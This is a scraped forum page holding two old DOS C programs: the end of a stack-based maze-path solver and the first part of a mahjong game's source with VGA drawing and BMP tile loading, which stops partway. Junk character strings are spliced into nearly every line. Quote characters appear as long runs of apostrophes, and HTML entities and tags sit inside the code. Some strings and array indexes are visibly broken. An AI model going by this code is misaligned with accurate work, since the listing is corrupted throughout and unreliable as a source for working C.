9 y6 P8 u- m$ d) d  C9 f/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
1 D8 K+ q: |; Z! L+ v' q8 g& |/ ?} /* MarkPrint */
$ ~- u7 l# I; O  ~void FootPrint(PosType curpos)
. b# W/ Y& F) m+ l& ~/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */6 M; Z. @0 g$ Z. Q' q
{; ]# A" J) n4 I: O5 i
maze[curpos.x][curpos.y].foot=1;/ q6 [5 O. u" ?$ n. K3 U$ A4 g
} /* FootPrint */1 H  ~8 k. {7 `) p; k5 h
PosType NextPos(PosType seat,int di)  G7 w* j: P' h8 Z1 z! ]3 c0 r
{
5 F- B" `! ?$ N/ o; l% Eswitch(di)
( z! p2 y% e; T- V. t0 @% y6 J{3 L  Z8 ~6 Q0 Y% x
case 1: seat.y++; return seat; /* Eastward *// B* t" z1 R5 P" _' m+ H" @
case 2: seat.x++; return seat; /* Southward */1 _' x& [* z1 j
case 3: seat.y--; return seat; /* Westward */
- `8 c! N. F/ ]% n) Scase 4: seat.x--; return seat; /* Northward */
5 Q2 ^0 o3 |6 F6 ^) W, ^6 U' [default: seat.x=0; seat.y=0; return seat;1 k/ s7 c+ N' P/ J6 P6 t
}
- g- V) G- h) o+ N4 e7 X6 i} /* NextPos */; [  ^. d% `5 }. `$ }/ R

( i8 H* n6 u+ [6 x7 O, q/* The key to the program. */. a" i, c' y" g. @0 d) `; j3 C
/* Pre: The maze array &amp; the startplace &amp; the endplace.
& _* E) [$ \4 x( S) R" ?, D3 SPost: Find the one traverse of the maze and perform the mazepath.# u6 V  A% s" q# H0 R. t) ~
Uses: The ADT stack class.
/ p( u) ~) y: H/ Z8 \& d& e# ~*/$ T+ Z( v: s( ^# j$ j/ v
Status MazePath(PosType start,PosType end)
- q9 a/ E0 j! `" p' e{
5 r! u2 i# S- V* S9 DPosType curpos;1 E/ \! V4 z' H* X0 I: P8 z) `# @9 p
int curstep;
6 g" g! H  O. Z" V) q5 m6 wSElemType e;0 p  U! H6 M1 O- H! a
Stack *s,stack;. U' b5 |1 c4 j. t1 `$ I
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
% x. \% r4 X! y# E* Kif(!stack.base) Error("Overflow");! ]0 c2 U8 b0 w' d
stack.top=stack.base;$ n1 L' H$ N$ l9 C" q8 X
stack.stacksize=STACK_INIT_SIZE;9 ~: V0 q0 u- `( I  U
s=&amp;stack;% s- G; ~) ?  b
curpos=start;% Y) h0 y: r/ }7 o9 X$ d8 w1 m
curstep=1;; q  z5 g4 X  q1 K. P+ v8 ~
do% c) Q1 r, t2 l
{
% x% o# [9 M3 d3 Y2 _* E  Eif(Pass(curpos))0 R- o* }& ?" I4 H3 u% ^% _
{
" f! O' J# u* _; z$ i' T$ x; XFootPrint(curpos);1 m& B0 h3 w& H# g& Z# `
e.ord=curstep; e.seat=curpos; e.di=1;
' H* h# E0 ?; I' v- Bgotoxy((curpos.y+1)*2,curpos.x+2);# M, P$ D* K8 g- ~; Z9 Y6 s
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
5 f0 C, z2 c( I. idelay(8000); /* pospone time. */
; l9 T% B( {: E* N& l% ?. dPush(s,e);
7 T! V; T% }- {! gif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
9 a+ {: X* C, w{
" Q, [$ c/ m, `4 U0 x% XDestroyStack(s);7 H/ P( a3 W5 F8 P
return TRUE;8 h' X& B: }+ u9 [8 N
}
9 W5 o4 Q  t% x5 X; T* |curpos=NextPos(curpos,1); /* Try next position. */
& L0 R4 u, j% V# g8 V% f, Ccurstep++;
% G: x/ U3 g! u$ i+ x/ }}
7 B0 e8 o- `2 \5 D+ z( Eelse8 W; @" Y' T* u( E
{6 h8 w9 ^! @: l* S
if(!StackEmpty(s))
( y" I0 Z/ Y6 S. ~- ?. `. H{
4 L8 ?, K: f8 L* f" I* {e=Pop(s,e); /* Removed e from s. */. b" y0 |6 K/ ^7 B0 h. L$ E/ P
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked1 t. d. h! a# V4 \; q
and s is not empty. */
! S) K. w% T8 g$ `) I{$ z3 ^+ p1 p" f6 C1 j# i( G
MarkPrint(e.seat);$ y" D+ q! G2 G  g0 u' x& E
gotoxy((e.seat.y+1)*2,e.seat.x+2);. p: I) X) v  n: H  `) m
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');6 M6 `4 X# p$ ]" v1 A- ?
delay(8000); /* Pospone time. */0 J# {2 ^$ t. Y3 r' T
gotoxy((e.seat.y+1)*2,e.seat.x+2);6 c6 F( A" ]1 \' M! ^% O
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
4 _) T( E$ ?9 p. i" ~1 Z( Me=Pop(s,e); /* Remove e from s. */
8 t$ A3 [$ V* O2 ccurstep--;
0 {% j/ @0 i: i& {}
1 W# b, S4 @" y9 Q% aif(e.di&lt;4) /* The current position hasnot been checked. */9 O) F* i" m0 k3 ?8 a0 ^% y
{
* ~3 [) Z1 K  ^: pe.di++;+ W! e3 h7 L" C# R" `9 v$ T$ r
Push(s,e); /* Insert e into s. */9 u$ @6 D$ J4 U+ D) ]
curpos=NextPos(e.seat,e.di); /* Try next position. */
$ F  j5 }9 c2 a% L}
+ C* y& Z& P4 V* ^, Z9 `2 l5 t0 ]) l}
. x! q3 a3 ^9 B. o; U6 \}8 \, V7 j. [: E8 M, e6 `
}
. j# H/ ?0 \1 L; z( g8 B5 \3 F+ v0 Vwhile(!StackEmpty(s));/ R' ?6 x4 m) A1 y1 L5 \
DestroyStack(s);3 ?8 i2 h! D# P2 k- z- |
return FALSE;
% f) Q5 h3 S4 F' u} /* MazePath *// X; |5 E& A. F% \9 I7 g8 B
void main()
4 w: W) W( |& [0 Q/ x/ ^{$ B2 o' C- I- c) |* M
PosType start,end;* O7 s6 O) q! {6 R
CreatMaze();1 {* Z1 O0 S$ F- k* c1 F: d# M
start.x=StartPlace.y;9 p, x( K5 c7 D  s! u$ M% @
start.y=StartPlace.x;9 p4 ^) p: y$ b' A
end.x=EndPlace.y;9 `% H8 L* W, Z) j
end.y=EndPlace.x;, @! J$ p/ p  |4 Q
if(MazePath(start,end))
. |& M7 X, d& T; S6 z! u: e' T2 R{* w3 j" X; ^& U8 H$ b) z2 s7 }& B2 p
gotoxy(2,22);
* |2 d) b: Y! {" G% Cprintf("ath found\n");
* o4 z% K1 R1 _& }}
4 b2 Z0 c: V: }9 \else
0 k9 S  ]  F8 s# O{( I- H- P4 {7 t3 R
gotoxy(2,22);
1 c! d* O) ?' X6 c; J* _printf("ath not found\n");
) z6 w4 x' J$ P: \* T# A: J+ C}" K4 A; j3 P, x
getch();
( Q/ A* [1 q6 Z- sclrscr();
9 Q% j: Q0 t; B; ]} </P></DIV>
作者: 韩冰    时间: 2004-10-4 02:36
<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
5 J3 w$ d9 Y" T* ?* e8 O! }/*天宇软件
4 o) J; D0 E* [* q& i作者:上海黑暗之龙
1 ^6 i9 Y. A3 s! r2 @# @2002/10/30
, ~0 \! r3 u8 u麻将原代码*/- k! _: F- E* x1 J/ n2 h8 ]' A
#include "dos.h"
3 V4 j+ {4 o2 G6 o, C$ l#include "stdio.h"
3 C5 C8 g* b* v#include "graphics.h"( p, T8 h3 }# S# c0 ]
#include "bios.h"
$ v! b! \; U% W6 c#include "conio.h"5 C' ?' p  g0 G: N+ E2 L+ Y
#include "stdlib.h"/ B6 z( ~8 \" `$ \' i4 e1 f
unsigned char far *video_buffer=(char far *)0xA0000000L;
# o: Y) H; g) g( c#define VGA256 0x13 /*图形模式13h*/
6 N$ @5 F: R: o: \, L* f#define TEXT_MODE 0x03 /*普通文本模式*/" [6 u/ a% k/ C. U0 A7 ^
#define SETVGA Set_Video_Mode(VGA256)
, @& E, F" L# `* _#define OUTVGA Set_Video_Mode(TEXT_MODE)" Y/ i( F! W. h0 k" L' t
#define BYTE unsigned char) u5 }* f0 F; U) m- z+ r2 U
#define WORD unsigned int2 S4 i! s; a% h% P7 l; A* W
#define DWORD unsigned int  i/ t! d* M  ?5 m+ [) q
#define ESC 283
" [! Y* ^! g$ w+ \3 m0 O) y. R/ g0 f#define LEFT 19200, ?5 ?4 i9 s" Z/ s. h4 F
#define RIGHT 19712! ?( l) {2 f9 d
#define H 9064
8 J% B9 C" ]- B) `# A( P#define ENTER 7181  W: x, G! G& j% r0 c% t
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
2 Z9 a  J7 d- T5 f" }' Wint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;2 {$ c& X4 Q) U
struct chi% e6 P0 Y* P; Q
{2 @5 R; S- j% M+ m
int lg;
( c; }9 u: E- X2 `- dint lgg;  `4 J/ g7 `1 X
}ch[13];' s  ]8 C) e8 S- t7 [  ?- _
struct mj
0 C6 j  U, O) s7 b4 }' j{ char *name; /*名字*/
( \% ^: U, J; E  z) A8 e0 \- ]" i9 Pint data1; /*是否已出,无用了*/0 j* m. n; G) g+ N; Q* r% {2 k
int data2; /*是否在手中,1为自己,2为对方*/
: ]& p( n. M9 M3 J3 mint number; /*同一个花色的第几张,共4张*/7 D& n6 `1 c2 @: D
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,- n/ [. Y# b$ b; D" A
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
; K# r0 |9 O- E% l5 @& x. @"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,6 O8 p, R, r" K
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,6 [6 C( g. e( e, X
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,6 Y' o  X, @1 ~# c6 Z% i
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
: j& l% ?6 F8 K  ?"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
' Y: L7 d: o! F  O. _9 _& H' Y"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,+ v  k& o" W- k) _1 R/ c
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,( _3 e6 W0 k5 j
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
! ^6 b2 z1 w6 L"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
3 l8 @$ Z& W& E, B* V"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
5 E; P6 n1 Y  n: N" U" k" w"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
. }/ s4 j, d" _$ I  f"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,4 q. @" Y- V( j5 Z- `0 a1 s( G
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
+ b8 [& P& _2 F. K"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,- @5 t1 B" k& C" X8 f& n8 f8 O+ S
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,( ]  C& N: n0 d
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,5 x, U" b) D' L5 D5 P, m; C
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3," \8 A5 z- i* Z/ H6 V1 y& h8 C. W9 \4 H( C
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,: r2 k, N# a# r  A- Q6 p
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
7 C5 t! p) A4 A0 c: @0 J"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,# I0 N" t/ z, O
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,. Y, v3 |  \" O0 h5 v
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,) {% k0 T/ P7 D$ `  `# ]( Z, ^3 `4 u6 N
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
7 h& f+ M$ ^6 Y/ t7 N$ e' n"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
7 E& Y" W  }2 A: E* \1 f0 a"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,! l$ e2 S/ L* y. \; b+ [$ o" E. {
"34.bmp"};7 K. X* y2 v* Y3 J$ X3 B
struct every
: D( Q5 F+ f- u/ C$ G# N; p{ int *k; /*名字*// s' Q+ |1 a1 \4 W
int oneorfour; /*同一张牌的第几张*// P- v, E0 u; n+ `5 t
int number; /*第几张牌136*/
9 ^/ u, j. h! }/ a# Q8 u+ U+ n  Mint p;6 p+ C$ u) n, f) s* D; `2 v" S; X3 w
int g;) r7 t2 N$ ?% A1 ]
int c;6 A' V" O+ b* t: V* u$ Q6 W. o
int d[2];' R; q2 i) Y; T! J& q. x' F0 c7 s, I
};1 G5 Y# P7 E: n3 ?
struct me5 T* Q: [, Y# p2 W: ?
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
# O8 {# l9 Q! J* ~1 U8 o  D" jint p; /*乓对方*/
. B7 S! a8 G$ G" m+ e! Rint c; /*吃对方*/' j6 [/ u  e" m' _8 _! A6 {1 _% R/ v
int g; /*杠*// ]+ Q( {3 p1 _, _( i

7 ]2 p  L3 n+ k0 g1 n! Z: Fstruct every pp[14]; /*存放手上的牌*/
' r, f, B- q) |}me;
% R9 M$ ~( D2 ?( z8 g: ostruct computer
& R) u. |/ p! K$ y9 [, D  ]{ int m;
5 Z# r1 O4 V8 ^! a6 C' H7 o/ j& Q9 wint p;0 c) D  @) O) b# E
int c;
1 g3 }% j# {5 j. k6 `8 dint g;* J8 u4 x' p! i% a
struct every pp[14];5 Y4 ^% F/ s3 [: Z) L1 m6 _
}computer,comp;3 i$ _' W3 n0 L' X8 ~8 J
. i+ ?. Q! Z( e: y
/* 设置调色板 */
4 p# I  E& l1 F# vvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)6 v) m# A( ~1 h8 |3 D
{) j; l% }' J4 [& |2 d) @
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/( R- Y, a; _2 z% W
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/% ?& m) l5 s: e6 }8 O
outportb(0x3c9,g);
" ]& Z0 a9 y' b3 F& boutportb(0x3c9,b);1 X% \8 Y% z. ~- C
}
3 A: e+ I2 J3 q: D: V) g# Z  v/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/0 T' a! C7 S8 L/ X  O- q
/* 设置显示模式的函数 */
* M/ l3 s6 U4 T' Avoid Set_Video_Mode(int mode)) m8 `6 Z* r5 A, O! d
{
+ a  r1 X* j- m, [union REGS inregs,outregs; /*定义输入和返回寄存器*/0 @+ K, C5 o) Z  v' E
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/' ?' N1 x2 x9 A6 |6 K/ s- M
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/5 L& u# u' R5 p8 Q0 H" y# F
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
3 S6 j: F7 `+ d  ]' ^7 H" z}3 V8 `( Y! v8 h; x- b* q8 {4 d
void v_line(int y0,int y1,int x,unsigned int color)
+ V& }8 T3 k# m. U. C) `0 u# r{ unsigned int address,n,temp;$ O% e. M5 R' H3 A( d
if(y0&gt;y1)
. K5 h1 l1 X- h, y+ A{' I; _9 Q: x% ~( Z3 x' `; C
temp=y1;8 k3 A4 U: b7 k3 _6 T) m  }
y1=y0;
2 @  n5 Q0 e& p. }9 T, d# a! yy0=temp;
3 c: x% c) h6 @}
1 w- Y; U" I& N9 \& Jaddress=320*y0+x;( Z! f6 b2 n' P+ L
for(n=0;n&lt;=y1-y0;n++)0 L2 z' Q- i7 Q" v/ J
{! p1 k9 c$ N; X* X4 Q; A' K. w/ X
video_buffer[address]=color;
  J9 @/ ^* h$ u' Z2 M* H: ?" l6 yaddress+=320;% A* J/ q5 O! f* U7 X) k1 X: e/ A
}
. ^* ]$ l7 z- y5 Y5 O5 G) P}
+ ~/ b* j" j6 h+ Pvoid h_line(int x0,int x1,int y,unsigned int color)4 C6 F3 ~: `% R, V0 g  M* n0 h
{ unsigned int address,n,temp;
. {3 V& }# J, c+ _. b' @  V' Eif(x0&gt;x1)
- ~% T) X7 c# B, r+ ~{
( i; k. t! S2 Z* d& z! x5 p2 htemp=x1;1 H. D" t4 L, p1 N% Z3 s
x1=x0;& _+ N9 j4 t) y9 h( X3 M7 \7 W  {
x0=temp;9 j; j: p4 Y; A- c5 h# U
}' E/ U( _3 g4 w; x/ U: p$ h) o- a9 e) o
address=320*y+x0;  s. v; q9 m+ E0 f& `1 R, [( m
for(n=0;n&lt;=x1-x0;n++)+ L+ }* z" H8 {* a; ?
{
: E% B/ j9 c) x% m. v4 Tvideo_buffer[address]=color;
. v2 G1 g4 A1 C' vaddress+=1;3 {7 H, y1 W( k
}- c- ~3 C5 F& r6 n$ k: ]% C/ @
}
/ U  g+ o) _$ J. w/ mvoid p_pixel(int x,int y,unsigned int color)% a5 h2 n2 _3 A; l. A. ?' b
{ video_buffer[y*320+x]=color;
: p/ Y7 H, b+ O  ]1 r( K: f. j}4 S' j; j( i5 F) w0 @7 Q2 T
void s_square(int x,int y,int side,int color)! ~, \* q: r0 U! H& ]8 H
{: F) v! W8 M* b
h_line(x,x+side,y,color);& D- R5 U' \6 [+ A. W4 L+ k% }
h_line(x,x+side,y+side,color);
  n+ v! p! b  B% jv_line(y,y+side,x,color);2 S% U. ^. r5 q: P' q* g
v_line(y,y+side,x+side,color);, z: @1 n8 R4 p$ @6 W* |
}1 v4 U/ k2 ?9 p' _& M3 {3 v% A% [
void r_rectangle(int x1,int y1,int x2,int y2,int color)" n1 p! f* B% U
{
2 j2 X( x* m! t8 ~! c% X1 b4 |h_line(x1,x2,y1,color);
, u9 A, y. T0 fh_line(x1,x2,y2,color);, i5 n; v3 E; S& J: Z
v_line(y1,y2,x1,color);" E* M7 Y) H$ L( C
v_line(y1,y2,x2,color);9 F3 T% w7 O- S
}
0 U1 h( K" N# K4 v1 F0 Yvoid fillRectangle(int x1,int y1,int x2,int y2,int color)
/ O% E) K  J: h  s, h6 {{' A! I1 [0 v7 i! S
int i;
7 Y9 [* G6 a5 R5 q6 Y/ Cfor(i=y1;i&lt;=y2;i++)
" d3 g8 B% D8 x3 l4 [* O5 ]( F{
7 Q9 `4 `  m. `9 c) A& K( ch_line(x1,x2,i,color);
- G& D; \" h, B6 L9 `# F% }4 h' Y}% T; Z6 T5 p0 S$ Z9 j
}/ ~7 P' S6 X2 S0 Z
void showbmp(int l)
  _5 l3 z" `  L# B7 `# n" P{ FILE *bmp;
* r  H. M, Q. k) v0 }: Z* F. N% Cint i,x,y;( o* f2 X/ v9 y  q; I3 d1 x  B
BYTE palette[256][3];
8 `! G7 O: J6 B  n3 xbmp=fopen(me.pp[l].k,"rb");8 m% t. W4 b' m( B. \/ Q1 ^
fseek(bmp,54,SEEK_SET);& `$ c$ {+ I& k/ Z
for(i=0;i&lt;256;i++)# m7 f$ v2 w5 A4 g7 G
{3 C" E% Q- R& G  o5 q- C
palette[2]=fgetc(bmp)&gt;&gt;2;" d+ F$ f! X* x& Z( g6 m4 G" k7 v0 h
palette[1]=fgetc(bmp)&gt;&gt;2;% J0 N5 F, w- P4 G
palette[0]=fgetc(bmp)&gt;&gt;2;
# E, u; ?2 I; o% A* N* t+ Hfgetc(bmp);; Z! m$ W$ D9 |1 J: E; C+ N
Set_Palette(i,palette[0],palette[1],palette[2]);$ p7 L! h/ W7 R3 J6 U& Z7 i8 N
}
; r8 _3 s8 }8 j& F# I! I( J- Zfor (y=0;y&lt;30;y++)+ G) m0 s$ U9 p. |( G2 U2 B5 y
for(x=0;x&lt;20;x++)
3 ?0 ^: Y5 J; y5 L5 _# P4 I$ ~pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));: h) N, @) |" g, {/ \) [' P. C( R7 O
fclose(bmp);' C3 }8 p1 G/ c+ R5 _6 H0 O( k$ H/ [
}
- k* [9 I8 F% a+ ]- l& J* s2 Svoid showbmpd(int l)
# O; i* [) J" U; L. Y9 H{ FILE *bmp;& a1 o+ W% ~+ @4 j
int i,x,y;/ G' U/ o) n' l  J
BYTE palette[256][3];- E% ]! r4 j2 y, N/ n3 e! V; O
bmp=fopen(me.pp[l].k,"rb");
# Q( c1 V! W8 B$ l, @* c2 Q+ |5 lfseek(bmp,54,SEEK_SET);
6 [/ J4 @  d4 b+ U# o7 }' @for(i=0;i&lt;256;i++)
8 f; \& D  N' L* x1 _9 A- `% r) L; Q{
3 R4 C, V7 b! D" c* F) gpalette[2]=fgetc(bmp)&gt;&gt;2;
3 h9 |0 X* u( V9 l, a, Apalette[1]=fgetc(bmp)&gt;&gt;2;/ ^- h  q3 g- R* V9 G: y
palette[0]=fgetc(bmp)&gt;&gt;2;( {- C3 U4 n1 T3 S
fgetc(bmp);% a- X% W) ^& q; c2 H! \$ ?: A
Set_Palette(i,palette[0],palette[1],palette[2]);; u* ]& T! u  d% D! a7 H- ]
}
( j$ f! w9 J6 _( L  X% [2 jfor (y=0;y&lt;30;y++)8 G/ U& Y, I. ?1 @
for(x=0;x&lt;20;x++)
0 [  u0 ^  d- _$ Ypokeb(0xa000,y*320+x+zyy,fgetc(bmp));
1 X: E% D; g. \fclose(bmp);
4 f& T  \. p2 Z}  l- D) V; J* Y2 K
void showybmp(int ll)
- P, @2 W6 S% n6 b# |{ FILE *bmp;  ^, F0 n0 Y& ~: b! V4 b
int i,x,y;
* A7 p: U' z# }1 qBYTE palette[256][3];
; I, y3 S3 M/ j$ {! f' P7 Tbmp=fopen(computer.pp[ll].k,"rb");# Q5 m4 l( `- F3 _0 T) X( `/ H
fseek(bmp,54,SEEK_SET);
$ k% t( C! H; Pfor(i=0;i&lt;256;i++)6 T/ [0 u0 e! U
{
5 R9 m) I2 a4 n- E% E! Lpalette[2]=fgetc(bmp)&gt;&gt;2;2 j) L& a$ K! |% @% {! j
palette[1]=fgetc(bmp)&gt;&gt;2;7 K2 a/ F* E$ G9 y/ B9 s
palette[0]=fgetc(bmp)&gt;&gt;2;
5 [' s/ U; l8 Y; Hfgetc(bmp);
% b, z: Q7 @) TSet_Palette(i,palette[0],palette[1],palette[2]);' s5 v' k# |. Q& x5 R7 F5 b( L
}! U+ A; F' V5 E8 W6 T" P) n
for (y=0;y&lt;30;y++)
+ M+ w0 ^& J; y  }for(x=0;x&lt;20;x++)
6 L; D$ R9 d) O; W. upokeb(0xa000,y*320+x+zy,fgetc(bmp));( ^! a- \, C& f3 e
fclose(bmp);) b( D" y7 E$ I' q8 g
}
% J. p  q) D9 W; zvoid showcbmp(int ll)
: K" K9 p$ w+ K4 R: a. V{ FILE *bmp;
. K: |; G. ]" t& pint i,x,y;$ w: Q1 T/ J6 y; Z2 h
BYTE palette[256][3];/ }" S0 q% Q9 C# \
bmp=fopen(computer.pp[ll].k,"rb");, ^1 v% w4 p0 q  U7 i
fseek(bmp,54,SEEK_SET);9 t/ M. Y, j% M: J
for(i=0;i&lt;256;i++)+ Z, |) }1 V0 h7 f- V& u: I
{
4 x, ^* K+ l: `3 qpalette[2]=fgetc(bmp)&gt;&gt;2;# w4 p( r& ]  [% m6 J
palette[1]=fgetc(bmp)&gt;&gt;2;
' s# K2 w0 B/ D1 G5 Ypalette[0]=fgetc(bmp)&gt;&gt;2;
& D' y! i6 V: g! {# r) Vfgetc(bmp);& J- W0 T+ J( x- d. A
Set_Palette(i,palette[0],palette[1],palette[2]);# H8 m  [- X1 K$ d
}
  [- d. O2 ?; h1 c9 [for (y=0;y&lt;30;y++)9 D* C# B8 g4 @2 ~5 S
for(x=0;x&lt;20;x++)
5 x: e0 A% b" E" v; [; W0 m+ o/ L# _pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
7 p3 k4 U* l& X$ ]fclose(bmp);
8 L6 \% \% \: ^4 D5 y' N}6 v) N" L6 B" p! \( }
void bmpp(int number), G- n: y; g0 E2 W( a; P" A
{ FILE *bmp;
* I  D4 v7 L, Q. S- z0 c  f# Hint i,x,y;2 T8 j1 p/ u& T/ y% n9 x$ z7 j
BYTE palette[256][3];
, A3 e2 _) k; S3 p2 H( K5 U: Hbmp=fopen(m[number].name,"rb");
5 k- T* F! t+ ufseek(bmp,54,SEEK_SET);
0 P) S1 y  @& dfor(i=0;i&lt;256;i++)
: ?) v3 X3 r3 x" P* v{
0 V3 e, }! r2 E. |palette[2]=fgetc(bmp)&gt;&gt;2;
( D# ~. [& w, |, D0 G% {& y' y6 w0 mpalette[1]=fgetc(bmp)&gt;&gt;2;& c' w, _& B, d5 }: U
palette[0]=fgetc(bmp)&gt;&gt;2;; \: [  G% y! i  j1 M
fgetc(bmp);0 [6 j% F+ h2 Z( O3 |3 c0 y
Set_Palette(i,palette[0],palette[1],palette[2]);9 {/ f: M7 n" s) d
}
; V# R/ R3 K, `  ^5 X4 [- K3 ^' kfor (y=0;y&lt;30;y++)
; \6 o: L3 r( q* P1 G; _7 Z$ l% Efor(x=0;x&lt;20;x++)+ H2 y& ^' x% Q6 m8 z
pokeb(0xa000,y*320+x+zl,fgetc(bmp));3 t6 j+ Z" K$ _1 C+ [) |: S( V
fclose(bmp);
; {; q9 x( i6 \! A, Z}( A( \1 m2 @& b  h
void comlipai() /*整理电脑的牌*/
. G' `) z' V4 _8 O{ int n,j,u;
5 P1 ~# e- m, t' c* bint *lingshi;' p2 S) A. }& V
for(n=0;n&lt;computer.m;n++)
3 t7 U: k2 i6 [1 x0 [) tfor(j=n;j&lt;computer.m;j++)
% e- _% t8 [' g4 C! G8 }5 P{8 w8 g% M1 z1 M0 G
if(computer.pp[n].number&gt;computer.pp[j+1].number)
0 a9 a5 G" l  F% N3 G' n{
  i) d! @; a2 a; ~lingshi=computer.pp[n].k;' C5 U8 G( r$ o" r0 H$ \
computer.pp[n].k=computer.pp[j+1].k;1 i# U: S: [1 y6 m
computer.pp[j+1].k=lingshi;
: p, C  X: q$ A% K- xu=computer.pp[n].oneorfour;4 l; i. g$ i; B* u$ t: X
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;4 K0 b& U7 r2 H) d' ]# B
computer.pp[j+1].oneorfour=u;# D4 F+ C" D1 i2 D1 P* L7 r# w
u=computer.pp[n].number;8 {! X! Y( ~9 @" h! h0 v# ^+ ]
computer.pp[n].number=computer.pp[j+1].number;1 o4 |0 X$ `- `; u( k* G) ]( Q* k
computer.pp[j+1].number=u;
% [1 P4 L2 f- T2 c, E}
8 E6 U" o9 `' P+ q( Jelse
9 ^6 B( t! _8 w$ s& o& B5 y3 bif(computer.pp[n].number==computer.pp[j+1].number)3 _: S" t0 p# K; |( `/ G
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
0 f/ ]6 T$ ^& j  [2 ~{- K# o! s6 i6 N, y+ s
lingshi=computer.pp[n].k;
2 p/ s+ p# {/ j5 q; Hcomputer.pp[n].k=computer.pp[j+1].k;
& t) S6 {$ i8 E3 d* Wcomputer.pp[j+1].k=lingshi;
8 s. g# ?5 y$ `! e" [3 W' Zu=computer.pp[n].oneorfour;
7 D5 M5 N5 l6 O* u, A( V5 Ycomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
' C7 h5 N6 q- @; p  _computer.pp[j+1].oneorfour=u;% s- A) X+ o% r- M5 t, k) p  S
u=computer.pp[n].number;1 d- ]& m2 {" O& z2 q* H( _9 g
computer.pp[n].number=computer.pp[j+1].number;
/ b# l/ z/ H) m! l; C( [  o5 bcomputer.pp[j+1].number=u;# C, L  ~. Z( k! L2 z9 c
}- Z& c9 U0 F! C) X" T
}2 d: E5 ~( _0 a
}
